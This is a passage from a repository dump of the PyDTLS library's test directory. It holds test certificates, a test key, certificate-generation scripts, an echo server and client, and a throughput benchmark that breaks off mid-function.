MBEGA1UECAwKV2FzaGluZ3RvbjETMBEGA1UECgwKUmF5IENBIEluYzERMA8GA1UE 12 | AwwIUmF5Q0FJbmMwHhcNMTcwMzA3MDgzNjU4WhcNMjcwMzA1MDgzNjU4WjBMMQsw 13 | CQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEUMBIGA1UECgwLUmF5IFNy 14 | diBJbmMxEjAQBgNVBAMMCVJheVNydkluYzBZMBMGByqGSM49AgEGCCqGSM49AwEH 15 | A0IABIK6BXtn8ptVexN86/847iYsacgI8H4oPlE7McZv9OCL185No0AkAk4Gw1aI 16 | SfHYIeIhBDWb9msVsnu1wgc237UwCgYIKoZIzj0EAwMDSAAwRQIhAK4caAt0QSTz 17 | A1WYlrEAA2AH181P7USiXkqQ5qRyoWQNAiBm3vKaoB+0p4B98HeI+h5V/7loomQg 18 | sW3uB0zEuJyqIQ== 19 | -----END CERTIFICATE----- 20 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/nullcert.pem: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ioncodes/BlueGate/b0fe9029a2f701bffdfdc60e4d91d5678c0cd7b5/pydtls/dtls/test/certs/nullcert.pem -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/server-cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICDTCCAXYCCQCxc2uXBLZhDjANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJV 3 | UzETMBEGA1UECBMKV2FzaGluZ3RvbjETMBEGA1UEChMKUmF5IENBIEluYzERMA8G 4 | A1UEAxMIUmF5Q0FJbmMwHhcNMTQwMTE4MjEwMjUwWhcNMjQwMTE2MjEwMjUwWjBM 5 | MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEUMBIGA1UEChMLUmF5 6 | IFNydiBJbmMxEjAQBgNVBAMTCVJheVNydkluYzCBnzANBgkqhkiG9w0BAQEFAAOB 7 | jQAwgYkCgYEA2Mv6DsylMQHjRWjanFZvHfdjCBdDpBucuDVDIqWsfoMQSi3INFYj 8 | 9l+29ZuMZSHTNQaFBovMXdk2B0xWQXmPTAKBF3A+ifVy3nAlSDoYJa9+LgH8eVCt 9 | aDwkNpaga4NxOouHoph8N1ZOVYIGrek5bXiBV7d3XZHwHG708IryOu8CAwEAATAN 10 | BgkqhkiG9w0BAQUFAAOBgQBw0XUTYzfiI0Fi9g4GuyWD2hjET3NtrT4Ccu+Jiivy 11 | EvwhzHtVGAPhrV+VCL8sS9uSOZlmfK/ZVraDiFGpJLDMvPP5y5fwq5VGrFuZispG 12 | X6bTBq2AIKzGGXxhwPqD8F7su7bmZDnZFRMRk2Bh16rv0mtzx9yHtqC5YJZ2a3JK 13 | 2g== 14 | -----END CERTIFICATE----- 15 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/server-cert_ec.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIBhjCCASwCCQCZ3L2TA/e93zAKBggqhkjOPQQDAzBKMQswCQYDVQQGEwJVUzET 3 | MBEGA1UECAwKV2FzaGluZ3RvbjETMBEGA1UECgwKUmF5IENBIEluYzERMA8GA1UE 4 | AwwIUmF5Q0FJbmMwHhcNMTcwMzA3MDgzNjU4WhcNMjcwMzA1MDgzNjU4WjBMMQsw 5 | CQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEUMBIGA1UECgwLUmF5IFNy 6 | diBJbmMxEjAQBgNVBAMMCVJheVNydkluYzBZMBMGByqGSM49AgEGCCqGSM49AwEH 7 | A0IABIK6BXtn8ptVexN86/847iYsacgI8H4oPlE7McZv9OCL185No0AkAk4Gw1aI 8 | SfHYIeIhBDWb9msVsnu1wgc237UwCgYIKoZIzj0EAwMDSAAwRQIhAK4caAt0QSTz 9 | A1WYlrEAA2AH181P7USiXkqQ5qRyoWQNAiBm3vKaoB+0p4B98HeI+h5V/7loomQg 10 | sW3uB0zEuJyqIQ== 11 | -----END CERTIFICATE----- 12 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/wrongcert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICXAIBAAKBgQC89ZNxjTgWgq7Z1g0tJ65w+k7lNAj5IgjLb155UkUrz0XsHDnH 3 | FlbsVUg2Xtk6+bo2UEYIzN7cIm5ImpmyW/2z0J1IDVDlvR2xJ659xrE0v5c2cB6T 4 | f9lnNTwpSoeK24Nd7Jwq4j9vk95fLrdqsBq0/KVlsCXeixS/CaqqduXfvwIDAQAB 5 | AoGAQFko4uyCgzfxr4Ezb4Mp5pN3Npqny5+Jey3r8EjSAX9Ogn+CNYgoBcdtFgbq 6 | 1yif/0sK7ohGBJU9FUCAwrqNBI9ZHB6rcy7dx+gULOmRBGckln1o5S1+smVdmOsW 7 | 7zUVLBVByKuNWqTYFlzfVd6s4iiXtAE2iHn3GCyYdlICwrECQQDhMQVxHd3EFbzg 8 | SFmJBTARlZ2GKA3c1g/h9/XbkEPQ9/RwI3vnjJ2RaSnjlfoLl8TOcf0uOGbOEyFe 9 | 19RvCLXjAkEA1s+UE5ziF+YVkW3WolDCQ2kQ5WG9+ccfNebfh6b67B7Ln5iG0Sbg 10 | ky9cjsO3jbMJQtlzAQnH1850oRD5Gi51dQJAIbHCDLDZU9Ok1TI+I2BhVuA6F666 11 | lEZ7TeZaJSYq34OaUYUdrwG9OdqwZ9sy9LUav4ESzu2lhEQchCJrKMn23QJAReqs 12 | ZLHUeTjfXkVk7dHhWPWSlUZ6AhmIlA/AQ7Payg2/8wM/JkZEJEPvGVykms9iPUrv 13 | frADRr+hAGe43IewnQJBAJWKZllPgKuEBPwoEldHNS8nRu61D7HzxEzQ2xnfj+Nk 14 | 2fgf1MAzzTRsikfGENhVsVWeqOcijWb6g5gsyCmlRpc= 15 | -----END RSA PRIVATE KEY----- 16 | -----BEGIN CERTIFICATE----- 17 | MIICsDCCAhmgAwIBAgIJAOqYOYFJfEEoMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNV 18 | BAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBX 19 | aWRnaXRzIFB0eSBMdGQwHhcNMDgwNjI2MTgxNTUyWhcNMDkwNjI2MTgxNTUyWjBF 20 | MQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50 21 | ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB 22 | gQC89ZNxjTgWgq7Z1g0tJ65w+k7lNAj5IgjLb155UkUrz0XsHDnHFlbsVUg2Xtk6 23 | +bo2UEYIzN7cIm5ImpmyW/2z0J1IDVDlvR2xJ659xrE0v5c2cB6Tf9lnNTwpSoeK 24 | 24Nd7Jwq4j9vk95fLrdqsBq0/KVlsCXeixS/CaqqduXfvwIDAQABo4GnMIGkMB0G 25 | A1UdDgQWBBTctMtI3EO9OjLI0x9Zo2ifkwIiNjB1BgNVHSMEbjBsgBTctMtI3EO9 26 | OjLI0x9Zo2ifkwIiNqFJpEcwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgTClNvbWUt 27 | U3RhdGUxITAfBgNVBAoTGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZIIJAOqYOYFJ 28 | fEEoMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAQwa7jya/DfhaDn7E 29 | usPkpgIX8WCL2B1SqnRTXEZfBPPVq/cUmFGyEVRVATySRuMwi8PXbVcOhXXuocA+ 30 | 43W+iIsD9pXapCZhhOerCq18TC1dWK98vLUsoK8PMjB6e5H/O8bqojv0EeC+fyCw 31 | eSHj5jpC8iZKjCHBn+mAi4cQ514= 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /pydtls/dtls/test/certs/yahoo-cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIE6jCCBFOgAwIBAgIDEIGKMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVT 3 | MRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0 4 | aWZpY2F0ZSBBdXRob3JpdHkwHhcNMTAwNDAxMjMwMDE0WhcNMTUwNzAzMDQ1MDAw 5 | WjCBjzEpMCcGA1UEBRMgMmc4YU81d0kxYktKMlpENTg4VXNMdkRlM2dUYmc4RFUx 6 | CzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlTdW5u 7 | eXZhbGUxFDASBgNVBAoTC1lhaG9vICBJbmMuMRYwFAYDVQQDEw13d3cueWFob28u 8 | Y29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6ZM1jHCkL8rlEKse 9 | 1riTTxyC3WvYQ5m34TlFK7dK4QFI/HPttKGqQm3aVB1Fqi0aiTxe4YQMbd++jnKt 10 | djxcpi7sJlFxjMZs4umr1eGo2KgTgSBAJyhxo23k+VpK1SprdPyM3yEfQVdV7JWC 11 | 4Y71CE2nE6+GbsIuhk/to+jJMO7jXx/430jvo8vhNPL6GvWe/D6ObbnxS72ynLSd 12 | mLtaltykOvZEZiXbbFKgIaYYmCgh89FGVvBkUbGM/Wb5Voiz7ttQLLxKOYRj8Mdk 13 | TZtzPkM9scIFG1naECPvCxw0NyMyxY3nFOdjUKJ79twanmfCclX2ZO/rk1CpiOuw 14 | lrrr/QIDAQABo4ICDjCCAgowDgYDVR0PAQH/BAQDAgTwMB0GA1UdDgQWBBSmrfKs 15 | 68m+dDUSf+S7xJrQ/FXAlzA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsLmdl 16 | b3RydXN0LmNvbS9jcmxzL3NlY3VyZWNhLmNybDCCAVsGA1UdEQSCAVIwggFOgg13 17 | d3cueWFob28uY29tggl5YWhvby5jb22CDHVzLnlhaG9vLmNvbYIMa3IueWFob28u 18 | Y29tggx1ay55YWhvby5jb22CDGllLnlhaG9vLmNvbYIMZnIueWFob28uY29tggxp 19 | bi55YWhvby5jb22CDGNhLnlhaG9vLmNvbYIMYnIueWFob28uY29tggxkZS55YWhv 20 | by5jb22CDGVzLnlhaG9vLmNvbYIMbXgueWFob28uY29tggxpdC55YWhvby5jb22C 21 | DHNnLnlhaG9vLmNvbYIMaWQueWFob28uY29tggxwaC55YWhvby5jb22CDHFjLnlh 22 | aG9vLmNvbYIMdHcueWFob28uY29tggxoay55YWhvby5jb22CDGNuLnlhaG9vLmNv 23 | bYIMYXUueWFob28uY29tggxhci55YWhvby5jb22CDHZuLnlhaG9vLmNvbTAfBgNV 24 | HSMEGDAWgBRI5mj5K9KylddH2CMgEE8zmJCf1DAdBgNVHSUEFjAUBggrBgEFBQcD 25 | AQYIKwYBBQUHAwIwDQYJKoZIhvcNAQEFBQADgYEAp9WOMtcDMM5T0yfPecGv5QhH 26 | RJZRzgeMPZitLksr1JxxicJrdgv82NWq1bw8aMuRj47ijrtaTEWXaCQCy00yXodD 27 | zoRJVNoYIvY1arYZf5zv9VZjN5I0HqUc39mNMe9XdZtbkWE+K6yVh6OimKLbizna 28 | inu9YTrN/4P/w6KzHho= 29 | -----END CERTIFICATE----- 30 | -------------------------------------------------------------------------------- /pydtls/dtls/test/echo_seq.py: -------------------------------------------------------------------------------- 1 | # PyDTLS sequential echo. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """PyDTLS sequential echo 20 | 21 | This script runs a sequential echo server. It is sequential in that it will 22 | respond without error only to a single sclient that invokes the following steps 23 | in order: 24 | * DTLS cookie exchange on port 28000 of localhost 25 | * DTLS handshake (application-default ciphers) 26 | * Write and receive echo back for an arbitrary number of datagrams 27 | * Isue shutdown notification and receive the shutdown notification response 28 | 29 | Note that this script's operation is slow and inefficient on purpose: it 30 | invokes the demux without socket select, but with 5-second timeouts after 31 | the cookie exchange; this is done so that one can follow the debug logs when 32 | operating this server from a client shell interactively. 33 | """ 34 | 35 | import socket 36 | from os import path 37 | from logging import basicConfig, DEBUG 38 | basicConfig(level=DEBUG) # set now for dtls import code 39 | from dtls.sslconnection import SSLConnection 40 | from dtls.err import SSLError, SSL_ERROR_WANT_READ, SSL_ERROR_ZERO_RETURN 41 | 42 | 43 | def main(): 44 | sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 45 | sck.bind(("127.0.0.1", 28000)) 46 | sck.settimeout(30) 47 | cert_path = path.join(path.abspath(path.dirname(__file__)), "certs") 48 | scn = SSLConnection( 49 | sck, 50 | keyfile=path.join(cert_path, "keycert.pem"), 51 | certfile=path.join(cert_path, "keycert.pem"), 52 | server_side=True, 53 | ca_certs=path.join(cert_path, "ca-cert.pem"), 54 | do_handshake_on_connect=False) 55 | cnt = 0 56 | 57 | while True: 58 | cnt += 1 59 | print "Listen invocation: %d" % cnt 60 | peer_address = scn.listen() 61 | if peer_address: 62 | print "Completed listening for peer: %s" % str(peer_address) 63 | break 64 | 65 | print "Accepting..." 66 | conn = scn.accept()[0] 67 | sck.settimeout(5) 68 | conn.get_socket(True).settimeout(5) 69 | 70 | cnt = 0 71 | while True: 72 | cnt += 1 73 | print "Listen invocation: %d" % cnt 74 | peer_address = scn.listen() 75 | assert not peer_address 76 | print "Handshake invocation: %d" % cnt 77 | try: 78 | conn.do_handshake() 79 | except SSLError as err: 80 | if err.errno == 504: 81 | continue 82 | raise 83 | print "Completed handshaking with peer" 84 | break 85 | 86 | cnt = 0 87 | while True: 88 | cnt += 1 89 | print "Listen invocation: %d" % cnt 90 | peer_address = scn.listen() 91 | assert not peer_address 92 | print "Read invocation: %d" % cnt 93 | try: 94 | message = conn.read() 95 | except SSLError as err: 96 | if err.errno == 502: 97 | continue 98 | if err.args[0] == SSL_ERROR_ZERO_RETURN: 99 | break 100 | raise 101 | print message 102 | conn.write("Back to you: " + message) 103 | 104 | cnt = 0 105 | while True: 106 | cnt += 1 107 | print "Listen invocation: %d" % cnt 108 | peer_address = scn.listen() 109 | assert not peer_address 110 | print "Shutdown invocation: %d" % cnt 111 | try: 112 | s = conn.shutdown() 113 | s.shutdown(socket.SHUT_RDWR) 114 | except SSLError as err: 115 | if err.errno == 502: 116 | continue 117 | raise 118 | break 119 | 120 | if __name__ == "__main__": 121 | main() 122 | -------------------------------------------------------------------------------- /pydtls/dtls/test/makecerts: -------------------------------------------------------------------------------- 1 | #!/bin/bash -eu 2 | 3 | ############################################################################## 4 | # 5 | # Generate Certificates for PyDTLS Unit Testing 6 | # 7 | # This script is invoked manually (as opposed to by the unit test suite), in 8 | # order to generate certain certificates that are required to be valid by 9 | # the unit test suite. 10 | # 11 | # This script is not portable: it has been tested on Ubuntu 13.04 only. New 12 | # certificates are written into the current directory. 13 | # 14 | # Copyright 2014 Ray Brown 15 | # 16 | ############################################################################## 17 | 18 | DIR=`dirname "$0"` 19 | 20 | # Generate self-signed certificate for the certificate authority 21 | echo Generating CA...; echo 22 | openssl req -config "$DIR/openssl_ca.cnf" -x509 -newkey rsa -nodes -keyout tmp_ca.key -out ca-cert.pem -days 3650 23 | 24 | # Generate a certificate request 25 | echo Generating certificate request...; echo 26 | openssl req -config "$DIR/openssl_server.cnf" -newkey rsa -nodes -keyout tmp_server.key -out tmp_server.req 27 | 28 | # Sign the request with the certificate authority's certificate created above 29 | echo Signing certificate request...; echo 30 | openssl x509 -req -in tmp_server.req -CA ca-cert.pem -CAkey tmp_ca.key -CAcreateserial -days 3650 -out server-cert.pem 31 | 32 | # Build pem file with private and public keys, ready for unprompted server use 33 | cat tmp_server.key server-cert.pem > keycert.pem 34 | 35 | # Clean up 36 | rm tmp_ca.key tmp_server.key tmp_server.req ca-cert.srl 37 | -------------------------------------------------------------------------------- /pydtls/dtls/test/makecerts_ec.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | set RANDFILE=.rnd 3 | 4 | 5 | rem # Generate self-signed certificate for the certificate authority 6 | echo Generating CA... 7 | openssl ecparam -name prime256v1 -genkey -out tmp_ca_ec.key 8 | openssl req -config "openssl_ca.cnf" -x509 -new -SHA384 -nodes -key tmp_ca_ec.key -days 3650 -out ca-cert_ec.pem 9 | 10 | rem # Generate a certificate request 11 | echo Generating certificate request... 12 | openssl ecparam -name prime256v1 -genkey -out tmp_server_ec.key 13 | openssl req -config "openssl_server.cnf" -new -SHA384 -nodes -key tmp_server_ec.key -out tmp_server_ec.req 14 | 15 | rem # Sign the request with the certificate authority's certificate created above 16 | echo Signing certificate request... 17 | openssl req -in tmp_server_ec.req -noout -text 18 | openssl x509 -req -SHA384 -days 3650 -in tmp_server_ec.req -CA ca-cert_ec.pem -CAkey tmp_ca_ec.key -CAcreateserial -out server-cert_ec.pem 19 | 20 | rem # Build pem file with private and public keys, ready for unprompted server use 21 | cat tmp_server_ec.key server-cert_ec.pem > keycert_ec.pem 22 | 23 | rem # Clean up 24 | rm tmp_ca_ec.key tmp_server_ec.key tmp_server_ec.req ca-cert_ec.srl 25 | -------------------------------------------------------------------------------- /pydtls/dtls/test/openssl_ca.cnf: -------------------------------------------------------------------------------- 1 | HOME = . 2 | RANDFILE = $ENV::HOME/.rnd 3 | 4 | [ req ] 5 | distinguished_name = req_distinguished_name 6 | prompt = no 7 | 8 | [ req_distinguished_name ] 9 | C = US 10 | ST = Washington 11 | O = Ray CA Inc 12 | CN = RayCAInc 13 | -------------------------------------------------------------------------------- /pydtls/dtls/test/openssl_server.cnf: -------------------------------------------------------------------------------- 1 | HOME = . 2 | RANDFILE = $ENV::HOME/.rnd 3 | 4 | [ req ] 5 | distinguished_name = req_distinguished_name 6 | prompt = no 7 | 8 | [ req_distinguished_name ] 9 | C = US 10 | ST = Washington 11 | O = Ray Srv Inc 12 | CN = RaySrvInc 13 | -------------------------------------------------------------------------------- /pydtls/dtls/test/rl.py: -------------------------------------------------------------------------------- 1 | # PyDTLS reloader. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """PyDTLS package reloader 20 | 21 | This script reloads all modules of the DTLS package. This can be useful in 22 | runtime environments that usually persist across package file edits, such as 23 | the IPython shell. 24 | """ 25 | 26 | import dtls 27 | import dtls.err 28 | import dtls.util 29 | import dtls.sslconnection 30 | import dtls.x509 31 | import dtls.openssl 32 | import dtls.demux 33 | import dtls.demux.router 34 | 35 | def main(): 36 | reload(dtls) 37 | reload(dtls.err) 38 | reload(dtls.util) 39 | reload(dtls.sslconnection) 40 | reload(dtls.x509) 41 | reload(dtls.openssl) 42 | reload(dtls.demux) 43 | reload(dtls.demux.router) 44 | reload(dtls.sslconnection) 45 | reload(dtls.x509) 46 | 47 | if __name__ == "__main__": 48 | main() 49 | -------------------------------------------------------------------------------- /pydtls/dtls/test/simple_client.py: -------------------------------------------------------------------------------- 1 | from os import path 2 | import ssl 3 | from socket import socket, AF_INET, SOCK_DGRAM, SHUT_RDWR 4 | from logging import basicConfig, DEBUG 5 | basicConfig(level=DEBUG) # set now for dtls import code 6 | from dtls import do_patch 7 | do_patch() 8 | 9 | cert_path = path.join(path.abspath(path.dirname(__file__)), "certs") 10 | sock = ssl.wrap_socket(socket(AF_INET, SOCK_DGRAM), cert_reqs=ssl.CERT_REQUIRED, ca_certs=path.join(cert_path, "ca-cert.pem")) 11 | sock.connect(('localhost', 28000)) 12 | sock.send('Hi there') 13 | print sock.recv() 14 | sock.unwrap() 15 | sock.shutdown(SHUT_RDWR) 16 | -------------------------------------------------------------------------------- /pydtls/dtls/test/test_perf.py: -------------------------------------------------------------------------------- 1 | # Performance tests for PyDTLS. 2 | 3 | # Copyright 2012 Ray Brown 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # http://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # The License is also distributed with this work in the file named "LICENSE." 12 | # 13 | # Unless required by applicable law or agreed to in writing, software 14 | # distributed under the License is distributed on an "AS IS" BASIS, 15 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | # See the License for the specific language governing permissions and 17 | # limitations under the License. 18 | 19 | """PyDTLS performance tests 20 | 21 | This module implements relative performance testing of throughput for the 22 | PyDTLS package. Throughput for the following transports can be compared: 23 | 24 | * Python standard library stream transport (ssl module) 25 | * PyDTLS datagram transport 26 | * PyDTLS datagram transport with thread locking callbacks disabled 27 | * PyDTLS datagram transport with demux type forced to routing demux 28 | """ 29 | 30 | import socket 31 | import errno 32 | import ssl 33 | import sys 34 | import time 35 | from argparse import ArgumentParser, ArgumentTypeError 36 | from os import path, urandom 37 | from timeit import timeit 38 | from select import select 39 | from multiprocessing import Process 40 | from multiprocessing.managers import BaseManager 41 | from dtls import do_patch 42 | 43 | AF_INET4_6 = socket.AF_INET 44 | CERTFILE = path.join(path.dirname(__file__), "certs", "keycert.pem") 45 | CHUNK_SIZE = 1459 46 | CHUNKS = 150000 47 | CHUNKS_PER_DOT = 500 48 | COMM_KEY = "tronje%T577&kkjLp" 49 | 50 | # 51 | # Traffic handler: required for servicing the root socket if the routing demux 52 | # is used; only waits for traffic on the data socket with 53 | # the osnet demux, as well as streaming sockets 54 | # 55 | 56 | def handle_traffic(data_sock, listen_sock, err): 57 | assert data_sock 58 | assert err in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE) 59 | readers = [] 60 | writers = [] 61 | if listen_sock: 62 | readers.append(listen_sock) 63 | if err == ssl.SSL_ERROR_WANT_READ: 64 | readers.append(data_sock) 65 | else: 66 | writers.append(data_sock) 67 | while True: 68 | read_ready, write_ready, exc_ready = select(readers, writers, [], 5) 69 | if not read_ready and not write_ready: 70 | raise ssl.SSLError("timed out") 71 | if data_sock in read_ready or data_sock in write_ready: 72 | break 73 | assert listen_sock in read_ready 74 | acc_ret = listen_sock.accept() 75 | assert acc_ret is None # test does not attempt multiple connections 76 | 77 | # 78 | # Transfer functions: transfer data on non-blocking sockets; written to work 79 | # properly for stream as well as message-based protocols 80 | # 81 | 82 | fill = urandom(CHUNK_SIZE) 83 | 84 | def transfer_out(sock, listen_sock=None, marker=False): 85 | max_i_len = 10 86 | start_char = "t" if marker else "s" 87 | for i in xrange(CHUNKS): 88 | prefix = start_char + str(i) + ":" 89 | pad_prefix = prefix + "b" * (max_i_len - len(prefix)) 90 | message = pad_prefix + fill[:CHUNK_SIZE - max_i_len - 1] + "e" 91 | count = 0 92 | while count < CHUNK_SIZE: 93 | try: 94 | count += sock.send(message[count:]) 95 | except ssl.SSLError as err: 96 | if err.args[0] in (ssl.SSL_ERROR_WANT_READ, 97 | ssl.SSL_ERROR_WANT_WRITE): 98 | handle_traffic(sock, listen_sock, err.args[0]) 99 | else: 100 | raise 101 | except socket.error as err: 102 | if err.errno == errno.EWOULDBLOCK: 103 | handle_traffic(sock, None, ssl.SSL_ERROR_WANT_WRITE) 104 | else: 105 | raise 106 | if not i % CHUNKS_PER_DOT: 107 | sys.stdout.write('.') 108 | sys.stdout.flush() 109 | print 110 | 111 | def transfer_in(sock, listen_sock=None): 112 | drops = 0 113 | pack_seq = -1 114 | i = 0 115 | try: 116 | sock.getpeername() 117 | except: 118 | peer_set = False 119 | else: 120 | peer_set = True 121 | while pack_seq + 1 < CHUNKS: 122 | pack = "" 123 | while len(pack) < CHUNK_SIZE: 124 | try: 125 | if isinstance(sock, ssl.SSLSocket): 126 | segment = sock.recv(CHUNK_SIZE - len(pack)) 127 | else: 128 | segment, addr = sock.recvfrom(CHUNK_SIZE - len(pack)) 129 | except ssl.SSLError as err: 130 | if err.args[0] in (ssl.SSL_ERROR_WANT_READ, 131 | ssl.SSL_ERROR_WANT_WRITE): 132 | try: 133 | handle_traffic(sock, listen_sock, err.args[0]) 134 | except ssl.SSLError as err: 135 | if err.message == "timed out": 136 | break 137 | raise 138 | else: 139 | raise 140 | except socket.error as err: 141 | if err.errno == errno.EWOULDBLOCK: 142 | try: 143 | handle_traffic(sock, None, ssl.SSL_ERROR_WANT_READ) 144 | except ssl.SSLError as err: 145 | if err.message == "timed out": 146 | break 147 | raise 148 | else: 149 | raise 150 | else: 151 | pack += segment 152 | if not peer_set: 153 | sock.connect(addr) 154 | peer_set = True 155 | # Do not try to assembly packets from datagrams 156 | if sock.type == socket.SOCK_DGRAM: 157 | break 158 | if len(pack) < CHUNK_SIZE or pack[0] == "t": 159 | break 160 | if pack[0] != "s" or pack[-1] != "e": 161 | raise Exception("Corrupt message received") 162 | next_seq = int(pack[1:pack.index(':')]) 163 | if next_seq > pack_seq: 164 | drops += next_seq - pack_seq - 1 165 | pack_seq = next_seq 166 | if not i % CHUNKS_PER_DOT: 167 | sys.stdout.write('.') 168 | sys.stdout.flush() 169 | i += 1 170 | drops += CHUNKS - 1 - pack_seq 171 | print 172 | return drops 173 | 174 | # 175 | # Single-threaded server 176 | # 177 | 178 | def server(sock_type, do_wrap, listen_addr): 179 | sock = socket.socket(AF_INET4_6, sock_type) 180 | sock.bind(listen_addr) 181 | if do_wrap: 182 | wrap = ssl.wrap_socket(sock, server_side=True, certfile=CERTFILE, 183 | do_handshake_on_connect=False, 184 | ciphers="NULL") 185 | wrap.listen(0) 186 | else: 187 | wrap = sock 188 | if sock_type == socket.SOCK_STREAM: 189 | wrap.listen(0) 190 | yield wrap.getsockname() 191 | if do_wrap or sock_type == socket.SOCK_STREAM: 192 | while True: 193 | acc_res = wrap.accept() 194 | if acc_res: 195 | break 196 | conn = acc_res[0] 197 | else: 198 | conn = wrap 199 | wrap.setblocking(False) 200 | conn.setblocking(False) 201 | class InResult(object): pass 202 | def _transfer_in(): 203 | InResult.drops = transfer_in(conn, wrap) 204 | in_time = timeit(_transfer_in, number=1) 205 | yield in_time, InResult.drops 206 | out_time = timeit(lambda: transfer_out(conn, wrap), number=1) 207 | # Inform the client that we are done, in case it has missed the final chunk 208 | if sock_type == socket.SOCK_DGRAM: 209 | global CHUNKS, CHUNK_SIZE 210 | CHUNKS_sav = CHUNKS 211 | CHUNK_SIZE_sav = CHUNK_SIZE 212 | try: 213 | CHUNKS = 5 214 | CHUNK_SIZE = 10 215 | for _ in range(10): 216 | try: 217 | transfer_out(conn, wrap, True) 218 | except ssl.SSLError as err: 219 | if err.args[0] == ssl.SSL_ERROR_SYSCALL: 220 | break 221 | else: 222 | raise 223 | except socket.error as err: 224 | if err.errno == errno.ECONNREFUSED: 225 | break 226 | else: 227 | raise 228 | time.sleep(0.2) 229 | finally: 230 | CHUNKS = CHUNKS_sav 231 | CHUNK_SIZE = CHUNK_SIZE_sav 232 | conn.shutdown(socket.SHUT_RDWR) 233 | conn.close() 234 | wrap.close() 235 | yield out_time 236 | 237 | # 238 | # Client, launched into a separate process 239 | # 240 | 241 | def client(sock_type, do_wrap, listen_addr): 242 | do_patch() # we might be in a new process 243 | sock = socket.socket(AF_INET4_6, sock_type) 244 | if do_wrap: 245 | wrap = ssl.wrap_socket(sock, ciphers="NULL") 246 | else: 247 | wrap = sock 248 | wrap.connect(listen_addr) 249 | transfer_out(wrap) 250 | drops = transfer_in(wrap) 251 | wrap.shutdown(socket.SHUT_RDWR) 252 | wrap.close() 253 | return drops 254 | 255 | # 256 | # Client manager - remote clients, run in a separate process 257 | # 258 | 259 | def make_client_manager(): 260 | # Create the global client manager class in servers configured as client 261 | # managers 262 | class ClientManager(object): 263 | from Queue import Queue 264 | 265 | queue = Queue() 266 | clients = -1 # creator does not count 267 | 268 | @classmethod 269 | def get_queue(cls): 270 | cls.clients += 1 271 | return cls.queue 272 | 273 | @classmethod 274 | def release_clients(cls): 275 | def wait_queue_empty(fail_return): 276 | waitcount = 5 277 | while not cls.queue.empty() and waitcount: 278 | time.sleep(1) 279 | waitcount -= 1 280 | if not cls.queue.empty(): 281 | # Clients are already dead or stuck 282 | return fail_return 283 | # Wait a moment for the queue to empty 284 | wait_queue_empty("No live clients detected") 285 | for _ in range(cls.clients): 286 | cls.queue.put("STOP") 287 | # Wait for all stop messages to be retrieved 288 | wait_queue_empty("Not all clients responded to stop signal") 289 | return "Client release succeeded" 290 | globals()["ClientManager"] = ClientManager 291 | 292 | def get_queue(): 293 | return ClientManager.get_queue() 294 | 295 | def release_clients(): 296 | return ClientManager.release_clients() 297 | 298 | MANAGER = None 299 | QUEUE = None 300 | class Manager(BaseManager): pass 301 | 302 | def start_client_manager(port): 303 | global MANAGER, QUEUE 304 | make_client_manager() 305 | Manager.register("get_queue", get_queue) 306 | Manager.register("release_clients", release_clients) 307 | if 